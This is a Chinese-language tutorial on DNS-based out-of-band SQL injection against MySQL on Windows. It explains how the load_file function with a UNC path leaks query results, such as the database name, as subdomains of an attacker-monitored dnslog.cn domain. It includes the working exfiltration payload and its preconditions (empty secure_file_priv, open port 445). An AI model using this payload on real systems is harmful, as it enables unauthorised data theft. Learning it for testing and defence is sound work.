SQL注入:DNS注入
DNS概述
域名解析服务,通过迭代查询的方式,将域名转换为IP地址,提供给本地主机,本地主机访问指定IP地址的网络主机从而获取网络资源。
DNS注入原理
利用DNS解析记录,如果在指定dns服务器上尝试查询解析,那么就会留下查询内容。如果该dns是恶意用户搭建的dns服务器,那么就有权限查询记录内容,而记录内容刚好是由数据库内容构成,那么就达到了dns注入数据库的目的。
如何带出数据库信息:利用445端口开放的远程文件共享,通过访问恶意DNS服务器的子域名,而子域名就是数据库信息,那么在DNS服务器上留下的记录就包含是恶意用户所需要的数据。
#以下述格式带出数据库信息
数据库信息.域名信息
数据库信息.qx7x7i.dnslog.cn
具体原理的理解,参考下述的操作流程。
以MySQL数据库为例
用下述网站作为DNS解析的记录站点
http://www.dnslog.cn/

如果我们通过浏览器访问这个临时分配的二级域名,就会在该站点上留下访问痕迹

如果访问该二级域名下的其他子域名,发生的现象如下:

同样的道理,如果利用文件共享协议来访问远程文件,即使文件不存在,那么也会在被访问的DNS服务器上留下痕迹
查看本机是否开放445端口,用于访问远程的共享文件
netstat -a

利用‘运行’窗口 配合文件共享协议,访问临时的二级域名查看现象

恰好MySQL数据库中 load_file函数能够加载远程共享文件
#之所以用四个'\',是因为\在mysql具有转义的特殊含义
select load_file('\\\\文件路径')
结合上述条件构造注入语句,尝试将数据库名称当做临时的二级域名的子域名,并访问远程的DNS服务器
select load_file(concat('file:\\\\',(select database()),'.qx7x7i.dnslog.cn'));
那么结果就是在服务器上留下了 "数据库名称 + 二级域名" 的记录信息,那么数据库信息也就被带出显示。
DNS注入前提
1)secure_file_priv 选项必须为空,但是不能为null(为空的意思是可以访问任意文件,为null意思是不能访问任意文件)
mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | |
+--------------------------+-------+
2)对方的主机必须开放445端口,因为load_file函数需要结合文件共享协议,从而读取目标站点上指定域名的子域名下的文件
1)通过扫描器确定对方是否开放445
2)直接尝试dns注入
总结
DNS注入常常出现在windows系统服务器上,因为windows默认开启局域网内的文件共享,并且对方服务器必须开启445以及mysql允许加载远端文件。否则该漏洞无法应用。并且dns注入攻击只能一次带出一个信息,操作起来颇为繁琐。但是在特殊情况下也是一个可尝试的方向。

浙公网安备 33010602011771号